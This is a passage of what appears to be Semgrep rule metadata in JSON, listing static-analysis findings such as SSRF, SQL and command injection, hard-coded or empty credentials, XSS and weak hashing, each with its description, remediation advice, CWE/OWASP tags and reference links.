host."},"help":{"markdown":"A parameter being passed directly into `Http` can likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/scalaj/scalaj-http#simplified-http](https://github.com/scalaj/scalaj-http#simplified-http)\n","text":"A parameter being passed directly into `Http` can likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf","id":"scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf","name":"scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'input_line' leaves a '\\r' (CR) character when reading lines from a Windows text file, whose lines end in \"\\r\\n\" (CRLF). This is a problem for any Windows file that is being read either on a Unix-like platform or on Windows in binary mode. If the code already takes care of removing any trailing '\\r' after reading the line, add a '(* nosemgrep *)' comment to disable this warning."},"help":{"markdown":"'input_line' leaves a '\\r' (CR) character when reading lines from a Windows text file, whose lines end in \"\\r\\n\" (CRLF). This is a problem for any Windows file that is being read either on a Unix-like platform or on Windows in binary mode. If the code already takes care of removing any trailing '\\r' after reading the line, add a '(* nosemgrep *)' comment to disable this warning.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.crlf-support.broken-input-line)\n","text":"'input_line' leaves a '\\r' (CR) character when reading lines from a Windows text file, whose lines end in \"\\r\\n\" (CRLF). This is a problem for any Windows file that is being read either on a Unix-like platform or on Windows in binary mode. If the code already takes care of removing any trailing '\\r' after reading the line, add a '(* nosemgrep *)' comment to disable this warning."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.crlf-support.broken-input-line","id":"ocaml.lang.portability.crlf-support.broken-input-line","name":"ocaml.lang.portability.crlf-support.broken-input-line","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.crlf-support.broken-input-line"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret","id":"javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret","name":"javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password","id":"python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password","name":"python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `func ($O *$CODEC) ReadRequestBody($ARG $TYPE) error` function does not handle `nil` argument, as the `ServerCodec` interface requires. An incorrect implementation could lead to denial of service"},"help":{"markdown":"The `func ($O *$CODEC) ReadRequestBody($ARG $TYPE) error` function does not handle `nil` argument, as the `ServerCodec` interface requires. An incorrect implementation could lead to denial of service\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil)\n - [https://github.com/golang/go/blob/go1.15.2/src/net/rpc/server.go#L643-L658](https://github.com/golang/go/blob/go1.15.2/src/net/rpc/server.go#L643-L658)\n","text":"The `func ($O *$CODEC) ReadRequestBody($ARG $TYPE) error` function does not handle `nil` argument, as the `ServerCodec` interface requires. An incorrect implementation could lead to denial of service"},"helpUri":"https://semgrep.dev/r/trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil","id":"trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil","name":"trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil","properties":{"precision":"very-high","tags":["CWE-476: NULL Pointer Dereference","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.use-of-sha1.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.use-of-sha1.use-of-sha1","id":"kotlin.lang.security.use-of-sha1.use-of-sha1","name":"kotlin.lang.security.use-of-sha1.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.use-of-sha1.use-of-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.tainted-system-command.tainted-system-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/kotlin.spring.tainted-system-command.tainted-system-command","id":"kotlin.spring.tainted-system-command.tainted-system-command","name":"kotlin.spring.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.diesel-taint.diesel-taint)\n - [https://docs.rs/diesel/latest/diesel/](https://docs.rs/diesel/latest/diesel/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.diesel-taint.diesel-taint","id":"rust.actix.sql.diesel-taint.diesel-taint","name":"rust.actix.sql.diesel-taint.diesel-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.diesel-taint.diesel-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","id":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","name":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header","id":"java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header","name":"java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.empty-password.empty-password)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.empty-password.empty-password","id":"rust.secrets.tokio-postgres.empty-password.empty-password","name":"rust.secrets.tokio-postgres.empty-password.empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.empty-password.empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"help":{"markdown":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.url-rewriting.url-rewriting)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.url-rewriting.url-rewriting","id":"java.lang.security.audit.url-rewriting.url-rewriting","name":"java.lang.security.audit.url-rewriting.url-rewriting","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.url-rewriting.url-rewriting"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the 'monetary' argument in a function call of 'locale.format_string'. This is only available on Python 3.7+ and is therefore not backwards compatible. Instead, remove the 'monetary' argument."},"help":{"markdown":"Found usage of the 'monetary' argument in a function call of 'locale.format_string'. This is only available on Python 3.7+ and is therefore not backwards compatible. Instead, remove the 'monetary' argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-locale1)\n","text":"Found usage of the 'monetary' argument in a function call of 'locale.format_string'. This is only available on Python 3.7+ and is therefore not backwards compatible. Instead, remove the 'monetary' argument."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-locale1","id":"python.lang.compatibility.python37.python37-compatibility-locale1","name":"python.lang.compatibility.python37.python37-compatibility-locale1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-locale1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By letting user input control CORS parameters, there is a risk that software does not properly verify that the source of data or communication is valid. Use literal values for CORS settings."},"help":{"markdown":"By letting user input control CORS parameters, there is a risk that software does not properly verify that the source of data or communication is valid. Use literal values for CORS settings.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.cors-misconfiguration.cors-misconfiguration)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n","text":"By letting user input control CORS parameters, there is a risk that software does not properly verify that the source of data or communication is valid. Use literal values for CORS settings."},"helpUri":"https://semgrep.dev/r/javascript.express.security.cors-misconfiguration.cors-misconfiguration","id":"javascript.express.security.cors-misconfiguration.cors-misconfiguration","name":"javascript.express.security.cors-misconfiguration.cors-misconfiguration","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.cors-misconfiguration.cors-misconfiguration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ASP.NET applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Set `debug` to `false` or remove it from `<compilation ... />`"},"help":{"markdown":"ASP.NET applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Set `debug` to `false` or remove it from `<compilation ... />`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug)\n - [https://web.archive.org/web/20190919105353/https://blogs.msdn.microsoft.com/prashant_upadhyay/2011/07/14/why-debugfalse-in-asp-net-applications-in-production-environment/](https://web.archive.org/web/20190919105353/https://blogs.msdn.microsoft.com/prashant_upadhyay/2011/07/14/why-debugfalse-in-asp-net-applications-in-production-environment/)\n - [https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx](https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx)\n","text":"ASP.NET applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Set `debug` to `false` or remove it from `<compilation ... />`"},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug","id":"csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug","name":"csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug","properties":{"precision":"very-high","tags":["CWE-11: ASP.NET Misconfiguration: Creating Debug Binary","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.empty-password.empty-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.empty-password.empty-password","id":"rust.secrets.sqlx.empty-password.empty-password","name":"rust.secrets.sqlx.empty-password.empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.empty-password.empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-html-string.tainted-html-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-html-string.tainted-html-string","id":"python.aws-lambda.security.tainted-html-string.tainted-html-string","name":"python.aws-lambda.security.tainted-html-string.tainted-html-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-html-string.tainted-html-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.command-injection.tainted-system-command.tainted-system-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.spring.command-injection.tainted-system-command.tainted-system-command","id":"java.spring.command-injection.tainted-system-command.tainted-system-command","name":"java.spring.command-injection.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.command-injection.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoid 'gets()'. This function does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' or 'gets_s()' instead."},"help":{"markdown":"Avoid 'gets()'. This function does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' or 'gets_s()' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn)\n - [https://us-cert.cisa.gov/bsi/articles/knowledge/coding-practices/fgets-and-gets_s](https://us-cert.cisa.gov/bsi/articles/knowledge/coding-practices/fgets-and-gets_s)\n","text":"Avoid 'gets()'. This function does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' or 'gets_s()' instead."},"helpUri":"https://semgrep.dev/r/c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn","id":"c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn","name":"c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a pg8000 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.run(\"SELECT :value FROM table\", value=myvalue)'. You can also create prepared statements with 'conn.prepare': 'conn.prepare(\"SELECT (:v) FROM table\")'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a pg8000 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.run(\"SELECT :value FROM table\", value=myvalue)'. You can also create prepared statements with 'conn.prepare': 'conn.prepare(\"SELECT (:v) FROM table\")'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli)\n - [https://github.com/tlocke/pg8000](https://github.com/tlocke/pg8000)\n","text":"Detected string concatenation with a non-literal variable in a pg8000 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.run(\"SELECT :value FROM table\", value=myvalue)'. You can also create prepared statements with 'conn.prepare': 'conn.prepare(\"SELECT (:v) FROM 